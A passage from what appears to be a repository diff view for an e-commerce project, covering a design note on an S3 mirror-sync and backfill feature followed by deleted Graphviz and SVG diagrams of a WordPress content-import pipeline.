Property `has_s3_mirror` returns True when all required fields are non-empty.
### Mirror sync engine (`lib/s3_mirror.py`)
Fire-and-forget sync: every file written to the MPS bucket is copied to the
shop's mirror bucket in a daemon thread. The MPS bucket remains the
origin/CDN — the mirror is a passive copy.
Key functions:
- `mirror_key()` — stream-copy a single key (get_object → put_object)
- `mirror_key_async()` — fire-and-forget single key in daemon thread
- `mirror_keys_async()` — fire-and-forget multiple keys in one thread
- `test_mirror_connection()` — validate credentials by listing bucket
- `backfill_mirror_async()` — double-fork detached process that copies all
existing shop files to the mirror (survives uWSGI worker recycling)
Thread safety: ORM objects are not accessed from background threads. All
credentials are captured as plain strings before thread creation. Each thread
creates its own boto3 client.
### Sync hooks
Mirror sync is triggered from:
- **Product upload** (`views/product.py`) — product file + thumbnail
- **Shop asset upload** (`views/shop.py`) — logo, banner
### Mirror settings form
New "Mirror Bucket" section in shop settings (`mirror-settings` form section):
- Endpoint URL, Region, Bucket, Access Key, Secret Key
- "Test Connection" — validates credentials on save
- "Backfill" toggle — triggers `backfill_mirror_async()` to copy all existing
files on first setup
### Backfill architecture
The backfill process needs to survive uWSGI worker recycling (workers get killed
at 512MB RSS). Solution: double-fork to fully detach from uWSGI:
```
Request handler
└─ fork() ─── intermediate child
└─ setsid() + fork() ─── grandchild (fully detached)
└─ fcntl.flock() guard
└─ create own SQLAlchemy engine
└─ list_objects_v2 + mirror_key loop
└─ os._exit(0)
```
One backfill per shop at a time (flock on `/tmp/s3_mirror_backfill_{shop_id}.lock`).
## Files Changed
| File | Change |
|------|--------|
| `models/shop.py` | Mirror S3 credential columns + `has_s3_mirror` property |
| `lib/s3_mirror.py` | Mirror engine: sync, async, test, backfill |
| `views/shop.py` | `mirror-settings` form handler + sync hooks |
| `views/product.py` | Mirror sync hooks on product upload |
| `templates/shop_settings.j2` | Mirror Bucket settings form |
| `routes.py` | No new routes (uses existing shop settings POST) |
| `scripts/alembic/versions/6b516114c393_*.py` | Migration: shop mirror S3 columns |
| `tests/test_functional.py` | Mirror settings save, connection test, backfill |
## Depends On
Nothing. Independent feature (but complements MPS-8 user S3 bucket).

81
docs/wordpress-import-html.dot
View file

@ -1,81 +0,0 @@
// WordPress HTML Conversion Pipeline — Detail
// Render: dot -Tsvg docs/wordpress-import-html.dot -o docs/wordpress-import-html.dot.svg
digraph html_conversion {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=9];
edge [fontname="monospace", fontsize=8];
raw_html [label="Raw WordPress HTML\n\n<!-- wp:paragraph -->\n<p class=\"has-large-font-size\">\n[gallery ids=\"1,2,3\"]\n<img srcset=\"...\" />", fillcolor="#fce4ec", shape=note];
subgraph cluster_phase1 {
label="Phase 1: Pre-process (BeautifulSoup)";
style=dashed;
color="#5871ad";
strip_gutenberg [label="Strip Gutenberg\ncomments\n<!-- /?wp:\\S+.*?-->", fillcolor="#e8eaf6"];
strip_shortcodes [label="Strip shortcodes\n[vc_*] [et_pb_*]\n[fusion_*]\nkeep inner content", fillcolor="#e8eaf6"];
convert_embeds [label="Convert embeds\n[embed]URL[/embed]\n→ bare URL", fillcolor="#e8eaf6"];
convert_captions [label="Convert captions\n[caption] → <figure>", fillcolor="#e8eaf6"];
strip_srcset [label="Strip srcset/sizes\nStrip WP classes\nUnwrap empty divs", fillcolor="#e8eaf6"];
}
subgraph cluster_phase2 {
label="Phase 2: Image Migration";
style=dashed;
color="#58ad71";
find_imgs [label="Find all <img> src\nand background-image\nURLs", fillcolor="#e8f5e9"];
strip_suffix [label="Strip WP size suffix\n-300x200 → original\nphoto-1024x768.jpg\n→ photo.jpg", fillcolor="#e8f5e9"];
download [label="Download original\nfrom WP server\nrequests.get()\ntimeout=30s", fillcolor="#e8f5e9"];
upload_s3 [label="Upload to S3\n{shop_id}/{product_id}/\ninline/{filename}\nACL=public-read", fillcolor="#e8f5e9"];
rewrite [label="Rewrite src URLs\nold WP URL\n→ CDN URL", fillcolor="#e8f5e9"];
}
subgraph cluster_phase3 {
label="Phase 3: markdownify";
style=dashed;
color="#ad8f58";
converter [label="WPConverter\n(MarkdownConverter\nsubclass)", fillcolor="#fff8e1"];
figures [label="<figure> → ![alt](url)\n<figcaption> → caption", fillcolor="#fff8e1"];
code [label="<pre><code\nclass=\"language-*\">\n→ fenced code block", fillcolor="#fff8e1"];
headings [label="ATX headings (#)\nbody_width=0\nunicode_snob=True", fillcolor="#fff8e1"];
}
subgraph cluster_phase4 {
label="Phase 4: Post-process";
style=dashed;
color="#666666";
collapse [label="Collapse blank lines\n3+ newlines → 2", fillcolor="#f5f5f5"];
metadata [label="Prepend metadata\n**Categories:** ...\n**Tags:** ...\n**Author:** ...", fillcolor="#f5f5f5"];
flag [label="Flag posts with\nunconverted <html>\nfor manual review", fillcolor="#f5f5f5"];
}
output [label="MPS Content\n\nProduct.description\n(raw markdown)\n\nProduct.description_html\n(rendered HTML)", fillcolor="#e8f5e9", shape=note];
// Flow
raw_html -> strip_gutenberg;
strip_gutenberg -> strip_shortcodes;
strip_shortcodes -> convert_embeds;
convert_embeds -> convert_captions;
convert_captions -> strip_srcset;
strip_srcset -> find_imgs;
find_imgs -> strip_suffix;
strip_suffix -> download;
download -> upload_s3;
upload_s3 -> rewrite;
rewrite -> converter;
converter -> figures;
converter -> code;
converter -> headings;
figures -> collapse [style=invis];
code -> collapse [style=invis];
headings -> collapse;
collapse -> metadata;
metadata -> flag;
flag -> output;
}

305
docs/wordpress-import-html.dot.svg
View file

@ -1,305 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: html_conversion Pages: 1 -->
<svg width="2657pt" height="211pt"
viewBox="0.00 0.00 2657.00 211.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 207)">
<title>html_conversion</title>
<polygon fill="white" stroke="transparent" points="-4,4 -4,-207 2653,-207 2653,4 -4,4"/>
<g id="clust1" class="cluster">
<title>cluster_phase1</title>
<polygon fill="none" stroke="#5871ad" stroke-dasharray="5,2" points="207,-57 207,-144 938,-144 938,-57 207,-57"/>
<text text-anchor="middle" x="572.5" y="-128.8" font-family="Times,serif" font-size="14.00">Phase 1: Pre&#45;process (BeautifulSoup)</text>
</g>
<g id="clust2" class="cluster">
<title>cluster_phase2</title>
<polygon fill="none" stroke="#58ad71" stroke-dasharray="5,2" points="958,-57 958,-144 1706,-144 1706,-57 958,-57"/>
<text text-anchor="middle" x="1332" y="-128.8" font-family="Times,serif" font-size="14.00">Phase 2: Image Migration</text>
</g>
<g id="clust3" class="cluster">
<title>cluster_phase3</title>
<polygon fill="none" stroke="#ad8f58" stroke-dasharray="5,2" points="1726,-8 1726,-195 2021,-195 2021,-8 1726,-8"/>
<text text-anchor="middle" x="1873.5" y="-179.8" font-family="Times,serif" font-size="14.00">Phase 3: markdownify</text>
</g>
<g id="clust4" class="cluster">
<title>cluster_phase4</title>
<polygon fill="none" stroke="#666666" stroke-dasharray="5,2" points="2041,-57 2041,-144 2478,-144 2478,-57 2041,-57"/>
<text text-anchor="middle" x="2259.5" y="-128.8" font-family="Times,serif" font-size="14.00">Phase 4: Post&#45;process</text>
</g>
<!-- raw_html -->
<g id="node1" class="node">
<title>raw_html</title>
<polygon fill="#fce4ec" stroke="black" points="173,-123 0,-123 0,-55 179,-55 179,-117 173,-123"/>
<polyline fill="none" stroke="black" points="173,-123 173,-117 "/>
<polyline fill="none" stroke="black" points="179,-117 173,-117 "/>
<text text-anchor="middle" x="89.5" y="-111.8" font-family="monospace" font-size="9.00">Raw WordPress HTML</text>
<text text-anchor="middle" x="89.5" y="-91.8" font-family="monospace" font-size="9.00">&lt;!&#45;&#45; wp:paragraph &#45;&#45;&gt;</text>
<text text-anchor="middle" x="89.5" y="-81.8" font-family="monospace" font-size="9.00">&lt;p class=&quot;has&#45;large&#45;font&#45;size&quot;&gt;</text>
<text text-anchor="middle" x="89.5" y="-71.8" font-family="monospace" font-size="9.00">[gallery ids=&quot;1,2,3&quot;]</text>
<text text-anchor="middle" x="89.5" y="-61.8" font-family="monospace" font-size="9.00">&lt;img srcset=&quot;...&quot; /&gt;</text>
</g>
<!-- strip_gutenberg -->
<g id="node2" class="node">
<title>strip_gutenberg</title>
<path fill="#e8eaf6" stroke="black" d="M319,-108C319,-108 227,-108 227,-108 221,-108 215,-102 215,-96 215,-96 215,-82 215,-82 215,-76 221,-70 227,-70 227,-70 319,-70 319,-70 325,-70 331,-76 331,-82 331,-82 331,-96 331,-96 331,-102 325,-108 319,-108"/>
<text text-anchor="middle" x="273" y="-96.8" font-family="monospace" font-size="9.00">Strip Gutenberg</text>
<text text-anchor="middle" x="273" y="-86.8" font-family="monospace" font-size="9.00">comments</text>
<text text-anchor="middle" x="273" y="-76.8" font-family="monospace" font-size="9.00">&lt;!&#45;&#45; /?wp:\S+.*?&#45;&#45;&gt;</text>
</g>
<!-- raw_html&#45;&gt;strip_gutenberg -->
<g id="edge1" class="edge">
<title>raw_html&#45;&gt;strip_gutenberg</title>
<path fill="none" stroke="black" d="M179.12,-89C187.76,-89 196.42,-89 204.8,-89"/>
<polygon fill="black" stroke="black" points="204.85,-92.5 214.85,-89 204.85,-85.5 204.85,-92.5"/>
</g>
<!-- strip_shortcodes -->
<g id="node3" class="node">
<title>strip_shortcodes</title>
<path fill="#e8eaf6" stroke="black" d="M466,-113C466,-113 379,-113 379,-113 373,-113 367,-107 367,-101 367,-101 367,-77 367,-77 367,-71 373,-65 379,-65 379,-65 466,-65 466,-65 472,-65 478,-71 478,-77 478,-77 478,-101 478,-101 478,-107 472,-113 466,-113"/>
<text text-anchor="middle" x="422.5" y="-101.8" font-family="monospace" font-size="9.00">Strip shortcodes</text>
<text text-anchor="middle" x="422.5" y="-91.8" font-family="monospace" font-size="9.00">[vc_*] [et_pb_*]</text>
<text text-anchor="middle" x="422.5" y="-81.8" font-family="monospace" font-size="9.00">[fusion_*]</text>
<text text-anchor="middle" x="422.5" y="-71.8" font-family="monospace" font-size="9.00">keep inner content</text>
</g>
<!-- strip_gutenberg&#45;&gt;strip_shortcodes -->
<g id="edge2" class="edge">
<title>strip_gutenberg&#45;&gt;strip_shortcodes</title>
<path fill="none" stroke="black" d="M331.03,-89C339.33,-89 347.92,-89 356.37,-89"/>
<polygon fill="black" stroke="black" points="356.56,-92.5 366.56,-89 356.56,-85.5 356.56,-92.5"/>
</g>
<!-- convert_embeds -->
<g id="node4" class="node">
<title>convert_embeds</title>
<path fill="#e8eaf6" stroke="black" d="M613,-108C613,-108 526,-108 526,-108 520,-108 514,-102 514,-96 514,-96 514,-82 514,-82 514,-76 520,-70 526,-70 526,-70 613,-70 613,-70 619,-70 625,-76 625,-82 625,-82 625,-96 625,-96 625,-102 619,-108 613,-108"/>
<text text-anchor="middle" x="569.5" y="-96.8" font-family="monospace" font-size="9.00">Convert embeds</text>
<text text-anchor="middle" x="569.5" y="-86.8" font-family="monospace" font-size="9.00">[embed]URL[/embed]</text>
<text text-anchor="middle" x="569.5" y="-76.8" font-family="monospace" font-size="9.00">→ bare URL</text>
</g>
<!-- strip_shortcodes&#45;&gt;convert_embeds -->
<g id="edge3" class="edge">
<title>strip_shortcodes&#45;&gt;convert_embeds</title>
<path fill="none" stroke="black" d="M478.32,-89C486.53,-89 495.06,-89 503.46,-89"/>
<polygon fill="black" stroke="black" points="503.6,-92.5 513.6,-89 503.6,-85.5 503.6,-92.5"/>
</g>
<!-- convert_captions -->
<g id="node5" class="node">
<title>convert_captions</title>
<path fill="#e8eaf6" stroke="black" d="M771,-107C771,-107 673,-107 673,-107 667,-107 661,-101 661,-95 661,-95 661,-83 661,-83 661,-77 667,-71 673,-71 673,-71 771,-71 771,-71 777,-71 783,-77 783,-83 783,-83 783,-95 783,-95 783,-101 777,-107 771,-107"/>
<text text-anchor="middle" x="722" y="-91.8" font-family="monospace" font-size="9.00">Convert captions</text>
<text text-anchor="middle" x="722" y="-81.8" font-family="monospace" font-size="9.00">[caption] → &lt;figure&gt;</text>
</g>
<!-- convert_embeds&#45;&gt;convert_captions -->
<g id="edge4" class="edge">
<title>convert_embeds&#45;&gt;convert_captions</title>
<path fill="none" stroke="black" d="M625.26,-89C633.6,-89 642.3,-89 650.9,-89"/>
<polygon fill="black" stroke="black" points="650.94,-92.5 660.94,-89 650.94,-85.5 650.94,-92.5"/>
</g>
<!-- strip_srcset -->
<g id="node6" class="node">
<title>strip_srcset</title>
<path fill="#e8eaf6" stroke="black" d="M918,-108C918,-108 831,-108 831,-108 825,-108 819,-102 819,-96 819,-96 819,-82 819,-82 819,-76 825,-70 831,-70 831,-70 918,-70 918,-70 924,-70 930,-76 930,-82 930,-82 930,-96 930,-96 930,-102 924,-108 918,-108"/>
<text text-anchor="middle" x="874.5" y="-96.8" font-family="monospace" font-size="9.00">Strip srcset/sizes</text>
<text text-anchor="middle" x="874.5" y="-86.8" font-family="monospace" font-size="9.00">Strip WP classes</text>
<text text-anchor="middle" x="874.5" y="-76.8" font-family="monospace" font-size="9.00">Unwrap empty divs</text>
</g>
<!-- convert_captions&#45;&gt;strip_srcset -->
<g id="edge5" class="edge">
<title>convert_captions&#45;&gt;strip_srcset</title>
<path fill="none" stroke="black" d="M783.35,-89C791.72,-89 800.35,-89 808.79,-89"/>
<polygon fill="black" stroke="black" points="808.98,-92.5 818.98,-89 808.98,-85.5 808.98,-92.5"/>
</g>
<!-- find_imgs -->
<g id="node7" class="node">
<title>find_imgs</title>
<path fill="#e8f5e9" stroke="black" d="M1076,-108C1076,-108 978,-108 978,-108 972,-108 966,-102 966,-96 966,-96 966,-82 966,-82 966,-76 972,-70 978,-70 978,-70 1076,-70 1076,-70 1082,-70 1088,-76 1088,-82 1088,-82 1088,-96 1088,-96 1088,-102 1082,-108 1076,-108"/>
<text text-anchor="middle" x="1027" y="-96.8" font-family="monospace" font-size="9.00">Find all &lt;img&gt; src</text>
<text text-anchor="middle" x="1027" y="-86.8" font-family="monospace" font-size="9.00">and background&#45;image</text>
<text text-anchor="middle" x="1027" y="-76.8" font-family="monospace" font-size="9.00">URLs</text>
</g>
<!-- strip_srcset&#45;&gt;find_imgs -->
<g id="edge6" class="edge">
<title>strip_srcset&#45;&gt;find_imgs</title>
<path fill="none" stroke="black" d="M930.26,-89C938.6,-89 947.3,-89 955.9,-89"/>
<polygon fill="black" stroke="black" points="955.94,-92.5 965.94,-89 955.94,-85.5 955.94,-92.5"/>
</g>
<!-- strip_suffix -->
<g id="node8" class="node">
<title>strip_suffix</title>
<path fill="#e8f5e9" stroke="black" d="M1234,-113C1234,-113 1136,-113 1136,-113 1130,-113 1124,-107 1124,-101 1124,-101 1124,-77 1124,-77 1124,-71 1130,-65 1136,-65 1136,-65 1234,-65 1234,-65 1240,-65 1246,-71 1246,-77 1246,-77 1246,-101 1246,-101 1246,-107 1240,-113 1234,-113"/>
<text text-anchor="middle" x="1185" y="-101.8" font-family="monospace" font-size="9.00">Strip WP size suffix</text>
<text text-anchor="middle" x="1185" y="-91.8" font-family="monospace" font-size="9.00">&#45;300x200 → original</text>
<text text-anchor="middle" x="1185" y="-81.8" font-family="monospace" font-size="9.00">photo&#45;1024x768.jpg</text>
<text text-anchor="middle" x="1185" y="-71.8" font-family="monospace" font-size="9.00">→ photo.jpg</text>
</g>
<!-- find_imgs&#45;&gt;strip_suffix -->
<g id="edge7" class="edge">
<title>find_imgs&#45;&gt;strip_suffix</title>
<path fill="none" stroke="black" d="M1088.31,-89C1096.6,-89 1105.17,-89 1113.63,-89"/>
<polygon fill="black" stroke="black" points="1113.85,-92.5 1123.85,-89 1113.85,-85.5 1113.85,-92.5"/>
</g>
<!-- download -->
<g id="node9" class="node">
<title>download</title>
<path fill="#e8f5e9" stroke="black" d="M1376,-113C1376,-113 1294,-113 1294,-113 1288,-113 1282,-107 1282,-101 1282,-101 1282,-77 1282,-77 1282,-71 1288,-65 1294,-65 1294,-65 1376,-65 1376,-65 1382,-65 1388,-71 1388,-77 1388,-77 1388,-101 1388,-101 1388,-107 1382,-113 1376,-113"/>
<text text-anchor="middle" x="1335" y="-101.8" font-family="monospace" font-size="9.00">Download original</text>
<text text-anchor="middle" x="1335" y="-91.8" font-family="monospace" font-size="9.00">from WP server</text>
<text text-anchor="middle" x="1335" y="-81.8" font-family="monospace" font-size="9.00">requests.get()</text>
<text text-anchor="middle" x="1335" y="-71.8" font-family="monospace" font-size="9.00">timeout=30s</text>
</g>
<!-- strip_suffix&#45;&gt;download -->
<g id="edge8" class="edge">
<title>strip_suffix&#45;&gt;download</title>
<path fill="none" stroke="black" d="M1246.2,-89C1254.62,-89 1263.29,-89 1271.74,-89"/>
<polygon fill="black" stroke="black" points="1271.92,-92.5 1281.92,-89 1271.92,-85.5 1271.92,-92.5"/>
</g>
<!-- upload_s3 -->
<g id="node10" class="node">
<title>upload_s3</title>
<path fill="#e8f5e9" stroke="black" d="M1549,-113C1549,-113 1436,-113 1436,-113 1430,-113 1424,-107 1424,-101 1424,-101 1424,-77 1424,-77 1424,-71 1430,-65 1436,-65 1436,-65 1549,-65 1549,-65 1555,-65 1561,-71 1561,-77 1561,-77 1561,-101 1561,-101 1561,-107 1555,-113 1549,-113"/>
<text text-anchor="middle" x="1492.5" y="-101.8" font-family="monospace" font-size="9.00">Upload to S3</text>
<text text-anchor="middle" x="1492.5" y="-91.8" font-family="monospace" font-size="9.00">{shop_id}/{product_id}/</text>
<text text-anchor="middle" x="1492.5" y="-81.8" font-family="monospace" font-size="9.00">inline/{filename}</text>
<text text-anchor="middle" x="1492.5" y="-71.8" font-family="monospace" font-size="9.00">ACL=public&#45;read</text>
</g>
<!-- download&#45;&gt;upload_s3 -->
<g id="edge9" class="edge">
<title>download&#45;&gt;upload_s3</title>
<path fill="none" stroke="black" d="M1388.21,-89C1396.46,-89 1405.13,-89 1413.81,-89"/>
<polygon fill="black" stroke="black" points="1413.96,-92.5 1423.96,-89 1413.96,-85.5 1413.96,-92.5"/>
</g>
<!-- rewrite -->
<g id="node11" class="node">
<title>rewrite</title>
<path fill="#e8f5e9" stroke="black" d="M1686,-108C1686,-108 1609,-108 1609,-108 1603,-108 1597,-102 1597,-96 1597,-96 1597,-82 1597,-82 1597,-76 1603,-70 1609,-70 1609,-70 1686,-70 1686,-70 1692,-70 1698,-76 1698,-82 1698,-82 1698,-96 1698,-96 1698,-102 1692,-108 1686,-108"/>
<text text-anchor="middle" x="1647.5" y="-96.8" font-family="monospace" font-size="9.00">Rewrite src URLs</text>
<text text-anchor="middle" x="1647.5" y="-86.8" font-family="monospace" font-size="9.00">old WP URL</text>
<text text-anchor="middle" x="1647.5" y="-76.8" font-family="monospace" font-size="9.00">→ CDN URL</text>
</g>
<!-- upload_s3&#45;&gt;rewrite -->
<g id="edge10" class="edge">
<title>upload_s3&#45;&gt;rewrite</title>
<path fill="none" stroke="black" d="M1561.05,-89C1569.59,-89 1578.28,-89 1586.68,-89"/>
<polygon fill="black" stroke="black" points="1586.77,-92.5 1596.77,-89 1586.77,-85.5 1586.77,-92.5"/>
</g>
<!-- converter -->
<g id="node12" class="node">
<title>converter</title>
<path fill="#fff8e1" stroke="black" d="M1833,-108C1833,-108 1746,-108 1746,-108 1740,-108 1734,-102 1734,-96 1734,-96 1734,-82 1734,-82 1734,-76 1740,-70 1746,-70 1746,-70 1833,-70 1833,-70 1839,-70 1845,-76 1845,-82 1845,-82 1845,-96 1845,-96 1845,-102 1839,-108 1833,-108"/>
<text text-anchor="middle" x="1789.5" y="-96.8" font-family="monospace" font-size="9.00">WPConverter</text>
<text text-anchor="middle" x="1789.5" y="-86.8" font-family="monospace" font-size="9.00">(MarkdownConverter</text>
<text text-anchor="middle" x="1789.5" y="-76.8" font-family="monospace" font-size="9.00">subclass)</text>
</g>
<!-- rewrite&#45;&gt;converter -->
<g id="edge11" class="edge">
<title>rewrite&#45;&gt;converter</title>
<path fill="none" stroke="black" d="M1698.25,-89C1706.41,-89 1714.97,-89 1723.43,-89"/>
<polygon fill="black" stroke="black" points="1723.67,-92.5 1733.67,-89 1723.67,-85.5 1723.67,-92.5"/>
</g>
<!-- figures -->
<g id="node13" class="node">
<title>figures</title>
<path fill="#fff8e1" stroke="black" d="M2001,-52C2001,-52 1893,-52 1893,-52 1887,-52 1881,-46 1881,-40 1881,-40 1881,-28 1881,-28 1881,-22 1887,-16 1893,-16 1893,-16 2001,-16 2001,-16 2007,-16 2013,-22 2013,-28 2013,-28 2013,-40 2013,-40 2013,-46 2007,-52 2001,-52"/>
<text text-anchor="middle" x="1947" y="-36.8" font-family="monospace" font-size="9.00">&lt;figure&gt; → ![alt](url)</text>
<text text-anchor="middle" x="1947" y="-26.8" font-family="monospace" font-size="9.00">&lt;figcaption&gt; → caption</text>
</g>
<!-- converter&#45;&gt;figures -->
<g id="edge12" class="edge">
<title>converter&#45;&gt;figures</title>
<path fill="none" stroke="black" d="M1844.45,-69.92C1857.65,-65.25 1871.86,-60.22 1885.35,-55.45"/>
<polygon fill="black" stroke="black" points="1886.76,-58.67 1895.02,-52.03 1884.43,-52.07 1886.76,-58.67"/>
</g>
<!-- code -->
<g id="node14" class="node">
<title>code</title>
<path fill="#fff8e1" stroke="black" d="M1993,-108C1993,-108 1901,-108 1901,-108 1895,-108 1889,-102 1889,-96 1889,-96 1889,-82 1889,-82 1889,-76 1895,-70 1901,-70 1901,-70 1993,-70 1993,-70 1999,-70 2005,-76 2005,-82 2005,-82 2005,-96 2005,-96 2005,-102 1999,-108 1993,-108"/>
<text text-anchor="middle" x="1947" y="-96.8" font-family="monospace" font-size="9.00">&lt;pre&gt;&lt;code</text>
<text text-anchor="middle" x="1947" y="-86.8" font-family="monospace" font-size="9.00">class=&quot;language&#45;*&quot;&gt;</text>
<text text-anchor="middle" x="1947" y="-76.8" font-family="monospace" font-size="9.00">→ fenced code block</text>
</g>
<!-- converter&#45;&gt;code -->
<g id="edge13" class="edge">
<title>converter&#45;&gt;code</title>
<path fill="none" stroke="black" d="M1845.32,-89C1856.1,-89 1867.53,-89 1878.66,-89"/>
<polygon fill="black" stroke="black" points="1878.78,-92.5 1888.78,-89 1878.78,-85.5 1878.78,-92.5"/>
</g>
<!-- headings -->
<g id="node15" class="node">
<title>headings</title>
<path fill="#fff8e1" stroke="black" d="M1988,-164C1988,-164 1906,-164 1906,-164 1900,-164 1894,-158 1894,-152 1894,-152 1894,-138 1894,-138 1894,-132 1900,-126 1906,-126 1906,-126 1988,-126 1988,-126 1994,-126 2000,-132 2000,-138 2000,-138 2000,-152 2000,-152 2000,-158 1994,-164 1988,-164"/>
<text text-anchor="middle" x="1947" y="-152.8" font-family="monospace" font-size="9.00">ATX headings (#)</text>
<text text-anchor="middle" x="1947" y="-142.8" font-family="monospace" font-size="9.00">body_width=0</text>
<text text-anchor="middle" x="1947" y="-132.8" font-family="monospace" font-size="9.00">unicode_snob=True</text>
</g>
<!-- converter&#45;&gt;headings -->
<g id="edge14" class="edge">
<title>converter&#45;&gt;headings</title>
<path fill="none" stroke="black" d="M1843.58,-108.12C1856.68,-112.83 1870.82,-117.92 1884.29,-122.77"/>
<polygon fill="black" stroke="black" points="1883.36,-126.16 1893.95,-126.26 1885.73,-119.57 1883.36,-126.16"/>
</g>
<!-- collapse -->
<g id="node16" class="node">
<title>collapse</title>
<path fill="#f5f5f5" stroke="black" d="M2159,-107C2159,-107 2061,-107 2061,-107 2055,-107 2049,-101 2049,-95 2049,-95 2049,-83 2049,-83 2049,-77 2055,-71 2061,-71 2061,-71 2159,-71 2159,-71 2165,-71 2171,-77 2171,-83 2171,-83 2171,-95 2171,-95 2171,-101 2165,-107 2159,-107"/>
<text text-anchor="middle" x="2110" y="-91.8" font-family="monospace" font-size="9.00">Collapse blank lines</text>
<text text-anchor="middle" x="2110" y="-81.8" font-family="monospace" font-size="9.00">3+ newlines → 2</text>
</g>
<!-- figures&#45;&gt;collapse -->
<!-- code&#45;&gt;collapse -->
<!-- headings&#45;&gt;collapse -->
<g id="edge17" class="edge">
<title>headings&#45;&gt;collapse</title>
<path fill="none" stroke="black" d="M2000.27,-126.82C2015.33,-121.58 2031.89,-115.82 2047.45,-110.41"/>
<polygon fill="black" stroke="black" points="2048.7,-113.68 2056.99,-107.09 2046.4,-107.07 2048.7,-113.68"/>
</g>
<!-- metadata -->
<g id="node17" class="node">
<title>metadata</title>
<path fill="#f5f5f5" stroke="black" d="M2311,-113C2311,-113 2219,-113 2219,-113 2213,-113 2207,-107 2207,-101 2207,-101 2207,-77 2207,-77 2207,-71 2213,-65 2219,-65 2219,-65 2311,-65 2311,-65 2317,-65 2323,-71 2323,-77 2323,-77 2323,-101 2323,-101 2323,-107 2317,-113 2311,-113"/>
<text text-anchor="middle" x="2265" y="-101.8" font-family="monospace" font-size="9.00">Prepend metadata</text>
<text text-anchor="middle" x="2265" y="-91.8" font-family="monospace" font-size="9.00">**Categories:** ...</text>
<text text-anchor="middle" x="2265" y="-81.8" font-family="monospace" font-size="9.00">**Tags:** ...</text>
<text text-anchor="middle" x="2265" y="-71.8" font-family="monospace" font-size="9.00">**Author:** ...</text>
</g>
<!-- collapse&#45;&gt;metadata -->
<g id="edge18" class="edge">
<title>collapse&#45;&gt;metadata</title>
<path fill="none" stroke="black" d="M2171.03,-89C2179.36,-89 2187.97,-89 2196.43,-89"/>
<polygon fill="black" stroke="black" points="2196.64,-92.5 2206.64,-89 2196.64,-85.5 2196.64,-92.5"/>
</g>
<!-- flag -->
<g id="node18" class="node">
<title>flag</title>
<path fill="#f5f5f5" stroke="black" d="M2458,-108C2458,-108 2371,-108 2371,-108 2365,-108 2359,-102 2359,-96 2359,-96 2359,-82 2359,-82 2359,-76 2365,-70 2371,-70 2371,-70 2458,-70 2458,-70 2464,-70 2470,-76 2470,-82 2470,-82 2470,-96 2470,-96 2470,-102 2464,-108 2458,-108"/>
<text text-anchor="middle" x="2414.5" y="-96.8" font-family="monospace" font-size="9.00">Flag posts with</text>
<text text-anchor="middle" x="2414.5" y="-86.8" font-family="monospace" font-size="9.00">unconverted &lt;html&gt;</text>
<text text-anchor="middle" x="2414.5" y="-76.8" font-family="monospace" font-size="9.00">for manual review</text>
</g>
<!-- metadata&#45;&gt;flag -->
<g id="edge19" class="edge">
<title>metadata&#45;&gt;flag</title>
<path fill="none" stroke="black" d="M2323.03,-89C2331.33,-89 2339.92,-89 2348.37,-89"/>
<polygon fill="black" stroke="black" points="2348.56,-92.5 2358.56,-89 2348.56,-85.5 2348.56,-92.5"/>
</g>
<!-- output -->
<g id="node19" class="node">
<title>output</title>
<polygon fill="#e8f5e9" stroke="black" points="2643,-128 2506,-128 2506,-50 2649,-50 2649,-122 2643,-128"/>
<polyline fill="none" stroke="black" points="2643,-128 2643,-122 "/>
<polyline fill="none" stroke="black" points="2649,-122 2643,-122 "/>
<text text-anchor="middle" x="2577.5" y="-116.8" font-family="monospace" font-size="9.00">MPS Content</text>
<text text-anchor="middle" x="2577.5" y="-96.8" font-family="monospace" font-size="9.00">Product.description</text>
<text text-anchor="middle" x="2577.5" y="-86.8" font-family="monospace" font-size="9.00">(raw markdown)</text>
<text text-anchor="middle" x="2577.5" y="-66.8" font-family="monospace" font-size="9.00">Product.description_html</text>
<text text-anchor="middle" x="2577.5" y="-56.8" font-family="monospace" font-size="9.00">(rendered HTML)</text>
</g>
<!-- flag&#45;&gt;output -->
<g id="edge20" class="edge">
<title>flag&#45;&gt;output</title>
<path fill="none" stroke="black" d="M2470.01,-89C2478.27,-89 2486.94,-89 2495.62,-89"/>
<polygon fill="black" stroke="black" points="2495.78,-92.5 2505.78,-89 2495.78,-85.5 2495.78,-92.5"/>
</g>
</g>
</svg>
Side by side

Before

Width:  |  Height:  |  Size: 21 KiB

82
docs/wordpress-import-pipeline.dot
View file

@ -1,82 +0,0 @@
// WordPress Import Pipeline — Overview
// Render: dot -Tsvg docs/wordpress-import-pipeline.dot -o docs/wordpress-import-pipeline.dot.svg
digraph wordpress_import {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_source {
label="WordPress Source";
style=dashed;
color="#ad5871";
rest_api [label="REST API\n/wp-json/wp/v2/*\n(live site, no auth)", fillcolor="#fce4ec"];
wxr_file [label="WXR XML Export\n(offline file)\nTools > Export", fillcolor="#fce4ec"];
}
subgraph cluster_parser {
label="Source Parser";
style=dashed;
color="#5871ad";
api_parser [label="REST API Client\nrequests + pagination\nper_page=100, ?_embed", fillcolor="#e8eaf6"];
wxr_parser [label="WXR Parser\nxml.etree.ElementTree\nnamespace-aware", fillcolor="#e8eaf6"];
normalize [label="Normalize\nUnified post dict\n(title, html, date,\nmedia_urls, comments)", fillcolor="#e8eaf6"];
}
subgraph cluster_convert {
label="HTML Conversion Pipeline";
style=dashed;
color="#58ad71";
preprocess [label="Phase 1: Pre-process\nBeautifulSoup\n- strip Gutenberg comments\n- strip shortcodes\n- strip srcset/sizes\n- strip WP classes", fillcolor="#e8f5e9"];
images [label="Phase 2: Image Migration\n- strip -WxH suffixes\n- download originals\n- upload to S3\n- rewrite URLs to CDN", fillcolor="#e8f5e9"];
markdown [label="Phase 3: Markdown\nmarkdownify (MIT)\n- custom WPConverter\n- figures, code blocks\n- ATX headings", fillcolor="#e8f5e9"];
postprocess [label="Phase 4: Post-process\n- collapse blank lines\n- prepend metadata\n- flag unconverted HTML", fillcolor="#e8f5e9"];
}
subgraph cluster_mps {
label="MPS (Target)";
style=dashed;
